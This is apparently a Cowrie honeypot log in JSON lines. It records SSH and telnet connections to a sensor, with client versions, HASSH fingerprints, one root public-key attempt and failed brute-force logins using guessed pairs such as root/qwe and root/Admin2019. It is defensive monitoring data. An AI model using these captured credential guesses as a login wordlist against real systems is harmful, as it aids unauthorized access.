{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:18.675525Z","src_ip":"91.92.42.227","session":"13253012afbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:20.374983Z","src_ip":"91.92.42.227","session":"13253012afbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:21.957180Z","src_ip":"91.92.42.227","session":"13253012afbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40279,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb6bed072bc","protocol":"ssh","message":"New connection: 168.167.228.74:40279 (159.203.135.109:22) [session: 2fb6bed072bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:23.476396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:23.479208Z","src_ip":"168.167.228.74","session":"2fb6bed072bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:23.728400Z","src_ip":"168.167.228.74","session":"2fb6bed072bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52592,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba42347cf80","protocol":"telnet","message":"New connection: 172.81.62.90:52592 (159.203.135.109:23) [session: bba42347cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:24.579215Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe","message":"login attempt [root/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:24.770350Z","src_ip":"168.167.228.74","session":"2fb6bed072bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"39da1f3b43e8","protocol":"ssh","message":"New connection: 91.92.42.227:58836 (10.17.0.5:22) [session: 39da1f3b43e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:25.964500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:25.974038Z","src_ip":"91.92.42.227","session":"39da1f3b43e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:26.037196Z","src_ip":"168.167.228.74","session":"2fb6bed072bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:26.049268Z","src_ip":"91.92.42.227","session":"39da1f3b43e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:26.910039Z","src_ip":"91.92.42.227","session":"39da1f3b43e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:28.135064Z","src_ip":"91.92.42.227","session":"39da1f3b43e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea5c0f9dc9f","protocol":"ssh","message":"New connection: 103.248.120.6:52344 (10.17.0.5:22) [session: aea5c0f9dc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:30.693617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:30.697800Z","src_ip":"103.248.120.6","session":"aea5c0f9dc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:30.922113Z","src_ip":"103.248.120.6","session":"aea5c0f9dc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:31.854401Z","src_ip":"103.248.120.6","session":"aea5c0f9dc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58888,"dst_ip":"10.17.0.5","dst_port":22,"session":"907749c00a53","protocol":"ssh","message":"New connection: 91.92.42.227:58888 (10.17.0.5:22) [session: 907749c00a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:32.268975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:32.636007Z","src_ip":"91.92.42.227","session":"907749c00a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:32.644264Z","src_ip":"91.92.42.227","session":"907749c00a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:33.081600Z","src_ip":"103.248.120.6","session":"aea5c0f9dc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:34.548517Z","src_ip":"91.92.42.227","session":"907749c00a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:35.928438Z","src_ip":"91.92.42.227","session":"907749c00a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56252,"dst_ip":"10.17.0.5","dst_port":22,"session":"59824c5ae3a3","protocol":"ssh","message":"New connection: 91.92.42.227:56252 (10.17.0.5:22) [session: 59824c5ae3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:39.905742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:39.909569Z","src_ip":"91.92.42.227","session":"59824c5ae3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:39.990559Z","src_ip":"91.92.42.227","session":"59824c5ae3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:40.310117Z","src_ip":"91.92.42.227","session":"59824c5ae3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:41.771831Z","src_ip":"91.92.42.227","session":"59824c5ae3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35684,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe7b5513d1f","protocol":"ssh","message":"New connection: 91.92.42.227:35684 (10.17.0.5:22) [session: 5fe7b5513d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:46.280975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:46.492800Z","src_ip":"91.92.42.227","session":"5fe7b5513d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:46.495472Z","src_ip":"91.92.42.227","session":"5fe7b5513d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:47.868711Z","src_ip":"91.92.42.227","session":"5fe7b5513d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:49.360900Z","src_ip":"91.92.42.227","session":"5fe7b5513d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.233.211","src_port":44216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e11afbafea1","protocol":"ssh","message":"New connection: 50.7.233.211:44216 (10.17.0.5:22) [session: 8e11afbafea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:51.973510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:51.976597Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.062760Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:67:81:fe:f7:45:eb:e4:83:82:a3:cf:58:e7:29:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAyys932iec8C1g8c/O67yjJ/hq+NPraBlVHjjoQY7+uzcQQhJCZGyXxT2DZZ6LLMwMvE6UIj5demPt3YWBHJlxPWyIZahNzCjrOxxlfGQYJ+2Gy7FFZ1UF5/IBeXF1RcgvX8B9NDMrz95hkzNld80HLqmVVbDlqRyUNaT0dRP5GiIIvVIshK92IrOSDyfaUYEgmwuz4I8+3k/brVD8cCWFRabzXZtKmCELtIjHaQYW966IAkucIHEv71sbzvDWUhlFVxf9GkoEIcSSTcsAup2PhsPvgFv6TPzJGLHe2YNnPkVCLZBrvEBL1+0JgFRtod/Mr9G6oghRjz55j0N4xCGNyPmD3nKLIeqqCKf5WwOfasME7FY8J56nu7JGIcHTLgeYc17vZGW+YdZUndsPW+74RW6jFtt3N8UuDzFTCz0cl7qW47RZfyLxTe58dAbXYi79HwdzphMQV3abxD0SKAlj3T6wP0Xf1RGYA6VfIp4kZiQxiRi71iIHLDiapX1ASabjwkCXO7Bt2lWmB717f5GSuxXRAs5S3/y4g/20KZEEs6Q28187TpW+FpbKzO9/yTUbBN3ET654W7YPnTvoR+EasAwEIrebqZxHwE5izEHfSq9g4IandYwkVbWk4P+BKzqnnJYJ3uTo2JieQhVisaEtUJhkn3uKS9m8K+L69QWTDk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:67:81:fe:f7:45:eb:e4:83:82:a3:cf:58:e7:29:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:52.459230Z","src_ip":"50.7.233.211","session":"8e11afbafea1","protocol":"ssh"}
